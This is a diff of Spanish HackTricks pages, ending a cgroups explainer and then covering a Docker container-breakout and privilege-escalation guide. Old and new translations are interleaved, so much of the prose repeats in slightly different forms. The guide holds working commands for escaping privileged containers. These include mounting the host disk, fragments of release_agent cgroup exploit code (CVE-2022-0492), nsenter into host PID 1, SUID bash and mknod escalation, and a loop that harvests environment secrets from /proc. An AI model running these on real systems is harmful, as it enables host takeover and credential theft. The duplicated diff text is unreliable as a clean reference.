Para explorar la configuración de cgroup de una shell, puedes mirar en el archivo `/proc/self/cgroup` para encontrar el cgroup de la shell, y luego navegar al directorio `/sys/fs/cgroup` (o `/sys/fs/cgroup/unified`) y buscar un **directorio con el mismo nombre que el cgroup**. Cambiar a este directorio y mirar alrededor te permitirá ver los **ajustes e información de uso de recursos para el cgroup**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Entre los muchos archivos que pueden estar aquí, **los archivos de interfaz de cgroup primarios comienzan con `cgroup`**. Comienza por mirar `cgroup.procs` (usar cat está bien), que lista los procesos en el cgroup. Un archivo similar, `cgroup.threads`, también incluye hilos.
|
||||
Entre los muchos archivos que pueden estar aquí, **los archivos de interfaz de cgroup primarios comienzan con `cgroup`**. Comienza mirando `cgroup.procs` (usar cat está bien), que lista los procesos en el cgroup. Un archivo similar, `cgroup.threads`, también incluye hilos.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -47,28 +63,42 @@ La mayoría de los cgroups utilizados para shells tienen estos dos controladores
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Un valor de **max significa que este cgroup no tiene un límite específico**, pero debido a que los cgroups son jerárquicos, un cgroup hacia abajo en la cadena de subdirectorios podría limitarlo.
|
||||
Un valor de **max significa que este cgroup no tiene un límite específico**, pero debido a que los cgroups son jerárquicos, un cgroup más abajo en la cadena de subdirectorios podría limitarlo.
|
||||
|
||||
### Manipulación y creación de cgroups
|
||||
### Manipulando y Creando cgroups
|
||||
|
||||
Para poner un proceso en un cgroup, **escribe su PID en su archivo `cgroup.procs` como root:**
|
||||
```shell-session
|
||||
# echo pid > cgroup.procs
|
||||
```
|
||||
Así es como funcionan muchos cambios en cgroups. Por ejemplo, si desea **limitar el número máximo de PIDs de un cgroup** (digamos, a 3,000 PIDs), hágalo de la siguiente manera:
|
||||
Así es como funcionan muchos cambios en cgroups. Por ejemplo, si quieres **limitar el número máximo de PIDs de un cgroup** (a, digamos, 3,000 PIDs), hazlo de la siguiente manera:
|
||||
```shell-session
|
||||
# echo 3000 > pids.max
|
||||
```
|
||||
**Crear cgroups es más complicado**. Técnicamente, es tan fácil como crear un subdirectorio en algún lugar del árbol de cgroups; cuando lo haces, el kernel crea automáticamente los archivos de interfaz. Si un cgroup no tiene procesos, puedes eliminar el cgroup con rmdir incluso con los archivos de interfaz presentes. Lo que puede confundirte son las reglas que rigen los cgroups, incluyendo:
|
||||
**Crear cgroups es más complicado**. Técnicamente, es tan fácil como crear un subdirectorio en algún lugar del árbol de cgroup; al hacerlo, el kernel crea automáticamente los archivos de interfaz. Si un cgroup no tiene procesos, puedes eliminar el cgroup con rmdir incluso con los archivos de interfaz presentes. Lo que puede confundirte son las reglas que rigen los cgroups, que incluyen:
|
||||
|
||||
* Solo puedes poner **procesos en cgroups de nivel externo ("hoja")**. Por ejemplo, si tienes cgroups llamados /my-cgroup y /my-cgroup/my-subgroup, no puedes poner procesos en /my-cgroup, pero /my-cgroup/my-subgroup está bien. (Una excepción es si los cgroups no tienen controladores, pero no profundicemos más).
|
||||
* Solo puedes poner **procesos en cgroups de nivel externo ("hoja")**. Por ejemplo, si tienes cgroups llamados /my-cgroup y /my-cgroup/my-subgroup, no puedes poner procesos en /my-cgroup, pero en /my-cgroup/my-subgroup está bien. (Una excepción es si los cgroups no tienen controladores, pero no profundicemos más).
|
||||
* Un cgroup **no puede tener un controlador que no esté en su cgroup padre**.
|
||||
* Debes **especificar explícitamente los controladores para los cgroups secundarios**. Lo haces a través del archivo `cgroup.subtree_control`; por ejemplo, si quieres que un cgroup secundario tenga los controladores cpu y pids, escribe +cpu +pids en este archivo.
|
||||
* Debes **especificar explícitamente los controladores para los cgroups hijos**. Haces esto a través del archivo `cgroup.subtree_control`; por ejemplo, si quieres que un cgroup hijo tenga los controladores de cpu y pids, escribe +cpu +pids en este archivo.
|
||||
|
||||
Una excepción a estas reglas es el **cgroup raíz** que se encuentra en la parte inferior de la jerarquía. Puedes **colocar procesos en este cgroup**. Una razón por la que podrías querer hacer esto es para separar un proceso del control de systemd.
|
||||
Una excepción a estas reglas es el **cgroup raíz** que se encuentra en la parte inferior de la jerarquía. Puedes **colocar procesos en este cgroup**. Una razón por la que podrías querer hacer esto es para desvincular un proceso del control de systemd.
|
||||
|
||||
Incluso sin controladores habilitados, puedes ver el uso de CPU de un cgroup mirando su archivo cpu.stat:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (6) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Debido a que este es el uso acumulado de CPU durante toda la vida útil del cgroup, puedes ver cómo un servicio consume tiempo de procesador incluso si genera muchos subprocesos que eventualmente terminan.
|
||||
Dado que este es el uso acumulado de CPU durante toda la vida útil del cgroup, puedes ver cómo un servicio consume tiempo de procesador incluso si genera muchos subprocesos que eventualmente terminan.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,43 +1,45 @@
|
|||
# Docker Breakout / Escalada de Privilegios
|
||||
# Docker Breakout / Escalación de Privilegios
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, potenciados por las herramientas comunitarias **más avanzadas**.\
|
||||
Obtén Acceso Hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Enumeración y Escape Automáticos
|
||||
## Enumeración Automática y Escape
|
||||
|
||||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): También puede **enumerar contenedores**
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Esta herramienta es bastante **útil para enumerar el contenedor en el que te encuentras e intentar escapar automáticamente**
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): Herramienta útil para obtener los privilegios que tiene el contenedor para encontrar formas de escapar de él
|
||||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Esta herramienta es muy **útil para enumerar el contenedor en el que estás e incluso intentar escapar automáticamente**
|
||||
* [**amicontained**](https://github.com/genuinetools/amicontained): Herramienta útil para obtener los privilegios del contenedor y encontrar formas de escapar de él
|
||||
* [**deepce**](https://github.com/stealthcopter/deepce): Herramienta para enumerar y escapar de contenedores
|
||||
* [**grype**](https://github.com/anchore/grype): Obtén las CVE contenidas en el software instalado en la imagen
|
||||
* [**grype**](https://github.com/anchore/grype): Obtén los CVEs contenidos en el software instalado en la imagen
|
||||
|
||||
## Escape del Socket de Docker Montado
|
||||
## Escape a través del Socket de Docker Montado
|
||||
|
||||
Si de alguna manera descubres que el **socket de Docker está montado** dentro del contenedor de Docker, podrás escapar de él.\
|
||||
Esto suele ocurrir en contenedores de Docker que, por alguna razón, necesitan conectarse al demonio de Docker para realizar acciones.
|
||||
Si de alguna manera encuentras que el **socket de docker está montado** dentro del contenedor de docker, podrás escapar de él.\
|
||||
Esto suele ocurrir en contenedores de docker que por alguna razón necesitan conectarse al daemon de docker para realizar acciones.
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
#It's usually in /run/docker.sock
|
||||
```
|
||||
En este caso, puedes utilizar comandos regulares de Docker para comunicarte con el demonio de Docker:
|
||||
En este caso puedes usar comandos regulares de docker para comunicarte con el daemon de docker:
|
||||
```bash
|
||||
#List images to use one
|
||||
docker images
|
||||
|
@ -52,13 +54,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
{% hint style="info" %}
|
||||
En caso de que el **socket de Docker esté en un lugar inesperado**, aún puedes comunicarte con él utilizando el comando **`docker`** con el parámetro **`-H unix:///ruta/al/docker.sock`**
|
||||
En caso de que el **socket de docker esté en un lugar inesperado**, aún puedes comunicarte con él usando el comando **`docker`** con el parámetro **`-H unix:///ruta/a/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
El demonio de Docker también puede estar [escuchando en un puerto (por defecto 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o en sistemas basados en Systemd, la comunicación con el demonio de Docker puede ocurrir a través del socket de Systemd `fd://`.
|
||||
El daemon de Docker también podría estar [escuchando en un puerto (por defecto 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) o en sistemas basados en Systemd, la comunicación con el daemon de Docker puede ocurrir a través del socket de Systemd `fd://`.
|
||||
|
||||
{% hint style="info" %}
|
||||
Además, presta atención a los sockets de tiempo de ejecución de otros entornos de ejecución de alto nivel:
|
||||
Además, presta atención a los sockets en tiempo de ejecución de otros runtimes de alto nivel:
|
||||
|
||||
* dockershim: `unix:///var/run/dockershim.sock`
|
||||
* containerd: `unix:///run/containerd/containerd.sock`
|
||||
|
@ -68,23 +70,23 @@ Además, presta atención a los sockets de tiempo de ejecución de otros entorno
|
|||
* ...
|
||||
{% endhint %}
|
||||
|
||||
## Escape de abuso de capacidades
|
||||
## Abuso de Capabilities para Escapar
|
||||
|
||||
Debes verificar las capacidades del contenedor, si tiene alguna de las siguientes, es posible que puedas escapar de él: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
Debes verificar las capabilities del contenedor, si tiene alguna de las siguientes, podrías ser capaz de escapar de él: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
Puedes verificar las capacidades actuales del contenedor utilizando **las herramientas automáticas mencionadas anteriormente** o:
|
||||
Puedes verificar las capabilities actuales del contenedor usando **herramientas automáticas previamente mencionadas** o:
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
En la siguiente página puedes **aprender más sobre las capacidades de Linux** y cómo abusar de ellas para escapar/elevar privilegios:
|
||||
En la siguiente página puedes **aprender más sobre las capacidades de linux** y cómo abusar de ellas para escapar/escalar privilegios:
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
[linux-capabilities.md](../../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Escapar de contenedores privilegiados
|
||||
## Escape de Contenedores Privilegiados
|
||||
|
||||
Un contenedor privilegiado se puede crear con la bandera `--privileged` o deshabilitando defensas específicas:
|
||||
Un contenedor privilegiado puede ser creado con la bandera `--privileged` o desactivando defensas específicas:
|
||||
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
|
@ -96,15 +98,15 @@ Un contenedor privilegiado se puede crear con la bandera `--privileged` o deshab
|
|||
* `--cgroupns=host`
|
||||
* `Montar /dev`
|
||||
|
||||
La bandera `--privileged` introduce preocupaciones significativas de seguridad, y el exploit se basa en lanzar un contenedor de Docker con ella habilitada. Al usar esta bandera, los contenedores tienen acceso completo a todos los dispositivos y carecen de restricciones de seccomp, AppArmor y capacidades de Linux. Puedes **leer todos los efectos de `--privileged`** en esta página:
|
||||
La bandera `--privileged` introduce preocupaciones significativas de seguridad, y el exploit se basa en lanzar un contenedor docker con ella habilitada. Al usar esta bandera, los contenedores tienen acceso completo a todos los dispositivos y carecen de restricciones de seccomp, AppArmor y capacidades de Linux. Puedes l**eer todos los efectos de `--privileged`** en esta página:
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Privileged + hostPID
|
||||
### Privilegiado + hostPID
|
||||
|
||||
Con estos permisos, simplemente puedes **moverte al espacio de nombres de un proceso que se ejecuta en el host como root**, como init (pid:1), simplemente ejecutando: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
Con estos permisos puedes simplemente **moverte al espacio de nombres de un proceso que se ejecuta en el host como root** como init (pid:1) ejecutando: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
Pruébalo en un contenedor ejecutando:
|
||||
```bash
|
||||
|
@ -118,22 +120,22 @@ Prueba los siguientes bypasses en un contenedor ejecutando:
|
|||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
#### Montando Disco - Poc1
|
||||
#### Montaje de Disco - Poc1
|
||||
|
||||
Los contenedores de Docker bien configurados no permitirán comandos como **fdisk -l**. Sin embargo, en un comando de Docker mal configurado donde se especifica la bandera `--privileged` o `--device=/dev/sda1` con capacidades, es posible obtener los privilegios para ver la unidad del host.
|
||||
Contenedores de Docker bien configurados no permitirán comandos como **fdisk -l**. Sin embargo, en comandos de Docker mal configurados donde se especifica la bandera `--privileged` o `--device=/dev/sda1` con capacidades, es posible obtener los privilegios para ver el disco del host.
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
Por lo tanto, para tomar el control de la máquina host, es trivial:
|
||||
Por lo tanto, para tomar control de la máquina host, es trivial:
|
||||
```bash
|
||||
mkdir -p /mnt/hola
|
||||
mount /dev/sda1 /mnt/hola
|
||||
```
|
||||
¡Y voilà! Ahora puedes acceder al sistema de archivos del host porque está montado en la carpeta `/mnt/hola`.
|
||||
Y voilà! Ahora puedes acceder al sistema de archivos del host porque está montado en la carpeta `/mnt/hola`.
|
||||
|
||||
#### Montando Disco - Poc2
|
||||
#### Montaje de Disco - Poc2
|
||||
|
||||
Dentro del contenedor, un atacante puede intentar obtener un mayor acceso al sistema operativo subyacente del host a través de un volumen hostPath de escritura creado por el clúster. A continuación se muestran algunas cosas comunes que puedes verificar dentro del contenedor para ver si aprovechas este vector de ataque:
|
||||
Dentro del contenedor, un atacante puede intentar obtener más acceso al sistema operativo subyacente del host a través de un volumen hostPath escribible creado por el clúster. A continuación, se presentan algunas cosas comunes que puedes verificar dentro del contenedor para ver si puedes aprovechar este vector de ataque:
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
|
@ -154,7 +156,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
|||
### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
#### Escape de privilegios abusando del agente de liberación existente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
#### Escape privilegiado abusando del release\_agent existente ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
|
||||
{% code title="PoC inicial" %}
|
||||
```bash
|
||||
|
@ -190,9 +192,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
|||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Escape de privilegios abusando del agente de liberación creado ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
#### Escape privilegiado abusando del release\_agent creado ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
|
||||
{% code title="Segundo PoC" %}
|
||||
```bash
|
||||
|
@ -244,9 +244,9 @@ Encuentra una **explicación de la técnica** en:
|
|||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Escape de privilegios abusando de release\_agent sin conocer la ruta relativa - PoC3
|
||||
#### Escapar de Privilegios Abusando de release\_agent sin conocer la ruta relativa - PoC3
|
||||
|
||||
En los exploits anteriores se revela la **ruta absoluta del contenedor dentro del sistema de archivos del host**. Sin embargo, esto no siempre es el caso. En casos donde **no conoces la ruta absoluta del contenedor dentro del host**, puedes utilizar esta técnica:
|
||||
En los exploits anteriores se **revela la ruta absoluta del contenedor dentro del sistema de archivos del host**. Sin embargo, esto no siempre es el caso. En situaciones donde **no conoces la ruta absoluta del contenedor dentro del host**, puedes utilizar esta técnica:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
|
@ -310,7 +310,7 @@ sleep 1
|
|||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
Ejecutar el PoC dentro de un contenedor privilegiado debería proporcionar una salida similar a:
|
||||
La ejecución del PoC dentro de un contenedor privilegiado debería proporcionar una salida similar a:
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
|
@ -338,9 +338,9 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### Escape de privilegios abusando de montajes sensibles
|
||||
#### Escape Privilegiado Abusando de Montajes Sensibles
|
||||
|
||||
Existen varios archivos que pueden estar montados y que proporcionan **información sobre el host subyacente**. Algunos de ellos incluso pueden indicar **algo que debe ejecutarse por el host cuando ocurre algo** (lo que permitiría a un atacante escapar del contenedor).\
|
||||
Hay varios archivos que podrían estar montados que proporcionan **información sobre el host subyacente**. Algunos de ellos incluso pueden indicar **algo que debe ser ejecutado por el host cuando sucede algo** (lo que permitirá a un atacante escapar del contenedor).\
|
||||
El abuso de estos archivos puede permitir que:
|
||||
|
||||
* release\_agent (ya cubierto anteriormente)
|
||||
|
@ -349,22 +349,22 @@ El abuso de estos archivos puede permitir que:
|
|||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
Sin embargo, puedes encontrar **otros archivos sensibles** para verificar en esta página:
|
||||
Sin embargo, puedes encontrar **otros archivos sensibles** para revisar en esta página:
|
||||
|
||||
{% content-ref url="sensitive-mounts.md" %}
|
||||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Montajes arbitrarios
|
||||
### Montajes Arbitrarios
|
||||
|
||||
En varias ocasiones, encontrarás que el **contenedor tiene algún volumen montado desde el host**. Si este volumen no está configurado correctamente, es posible que puedas **acceder/modificar datos sensibles**: leer secretos, cambiar las claves autorizadas de SSH...
|
||||
En varias ocasiones encontrarás que el **contenedor tiene algún volumen montado desde el host**. Si este volumen no fue configurado correctamente, podrías ser capaz de **acceder/modificar datos sensibles**: Leer secretos, cambiar ssh authorized\_keys…
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
### Escalación de privilegios con 2 shells y montaje del host
|
||||
### Escalación de Privilegios con 2 shells y montaje del host
|
||||
|
||||
Si tienes acceso como **root dentro de un contenedor** que tiene alguna carpeta del host montada y has **escapado como un usuario sin privilegios al host** y tienes acceso de lectura sobre la carpeta montada.\
|
||||
Puedes crear un **archivo bash suid** en la **carpeta montada** dentro del **contenedor** y **ejecutarlo desde el host** para realizar una escalada de privilegios.
|
||||
Si tienes acceso como **root dentro de un contenedor** que tiene alguna carpeta del host montada y has **escapado como un usuario no privilegiado al host** y tienes acceso de lectura sobre la carpeta montada.\
|
||||
Puedes crear un **archivo bash suid** en la **carpeta montada** dentro del **contenedor** y **ejecutarlo desde el host** para escalar privilegios.
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
|
@ -372,13 +372,13 @@ chown root:root bash #From container as root inside mounted folder
|
|||
chmod 4777 bash #From container as root inside mounted folder
|
||||
bash -p #From non priv inside mounted folder
|
||||
```
|
||||
### Escalación de privilegios con 2 shells
|
||||
### Escalación de Privilegios con 2 shells
|
||||
|
||||
Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario sin privilegios al host**, puedes abusar de ambas shells para **elevar los privilegios dentro del host** si tienes la capacidad MKNOD dentro del contenedor (que está activada por defecto) como se [**explica en esta publicación**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Con esta capacidad, el usuario root dentro del contenedor tiene permiso para **crear archivos de dispositivo de bloque**. Los archivos de dispositivo son archivos especiales que se utilizan para **acceder al hardware subyacente y a los módulos del kernel**. Por ejemplo, el archivo de dispositivo de bloque /dev/sda permite **leer los datos en bruto del disco del sistema**.
|
||||
Si tienes acceso como **root dentro de un contenedor** y has **escapado como un usuario no privilegiado al host**, puedes abusar de ambos shells para **escalar privilegios dentro del host** si tienes la capacidad MKNOD dentro del contenedor (está por defecto) como [**se explica en este post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
Con tal capacidad, el usuario root dentro del contenedor tiene permiso para **crear archivos de dispositivo de bloque**. Los archivos de dispositivo son archivos especiales que se utilizan para **acceder al hardware subyacente y módulos del kernel**. Por ejemplo, el archivo de dispositivo de bloque /dev/sda permite **leer los datos crudos en el disco del sistema**.
|
||||
|
||||
Docker se asegura de que los dispositivos de bloque **no puedan ser abusados desde dentro del contenedor** al establecer una política de cgroup en el contenedor que bloquea la lectura y escritura de dispositivos de bloque.\
|
||||
Sin embargo, si se **crea un dispositivo de bloque dentro del contenedor, se puede acceder** a través de la carpeta /proc/PID/root/ por alguien **fuera del contenedor**, con la limitación de que el **proceso debe ser propiedad del mismo usuario** fuera y dentro del contenedor.
|
||||
Docker asegura que los dispositivos de bloque **no puedan ser abusados desde dentro del contenedor** estableciendo una política de cgroup en el contenedor que bloquea la lectura y escritura de dispositivos de bloque.\
|
||||
Sin embargo, si un dispositivo de bloque es **creado dentro del contenedor, puede ser accedido** a través de la carpeta /proc/PID/root/ por alguien **fuera del contenedor**, siendo la limitación que el **proceso debe ser propiedad del mismo usuario** fuera y dentro del contenedor.
|
||||
|
||||
Ejemplo de **explotación** de este [**informe**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
```bash
|
||||
|
@ -418,13 +418,13 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
|||
```
|
||||
### hostPID
|
||||
|
||||
Si puedes acceder a los procesos del host, podrás acceder a mucha información sensible almacenada en esos procesos. Ejecuta el laboratorio de pruebas:
|
||||
Si puedes acceder a los procesos del host, podrás acceder a mucha información sensible almacenada en esos procesos. Ejecuta laboratorio de prueba:
|
||||
```
|
||||
docker run --rm -it --pid=host ubuntu bash
|
||||
```
|
||||
Por ejemplo, podrás listar los procesos utilizando algo como `ps auxn` y buscar detalles sensibles en los comandos.
|
||||
|
||||
Luego, como puedes **acceder a cada proceso del host en /proc/, simplemente puedes robar sus secretos de entorno** ejecutando:
|
||||
Luego, como puedes **acceder a cada proceso del host en /proc/, puedes simplemente robar sus secretos de env** ejecutando:
|
||||
```bash
|
||||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||||
/proc/988058/environ
|
||||
|
@ -433,7 +433,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
|
|||
USER=abrgocd
|
||||
...
|
||||
```
|
||||
También puedes **acceder a los descriptores de archivos de otros procesos y leer sus archivos abiertos**:
|
||||
También puedes **acceder a los descriptores de archivo de otros procesos y leer sus archivos abiertos**:
|
||||
```bash
|
||||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||||
less fds.txt
|
||||
|
@ -443,82 +443,82 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
|||
# You can open the secret filw with:
|
||||
cat /proc/635813/fd/4
|
||||
```
|
||||
También puedes **finalizar procesos y causar un DoS**.
|
||||
También puedes **matar procesos y causar un DoS**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si de alguna manera tienes **acceso privilegiado sobre un proceso fuera del contenedor**, podrías ejecutar algo como `nsenter --target <pid> --all` o `nsenter --target <pid> --mount --net --pid --cgroup` para **ejecutar una shell con las mismas restricciones de ns** (esperemos que ninguna) **que ese proceso**.
|
||||
Si de alguna manera tienes acceso privilegiado **sobre un proceso fuera del contenedor**, podrías ejecutar algo como `nsenter --target <pid> --all` o `nsenter --target <pid> --mount --net --pid --cgroup` para **ejecutar una shell con las mismas restricciones de ns** (con suerte ninguna) **que ese proceso.**
|
||||
{% endhint %}
|
||||
|
||||
### hostNetwork
|
||||
```
|
||||
docker run --rm -it --network=host ubuntu bash
|
||||
```
|
||||
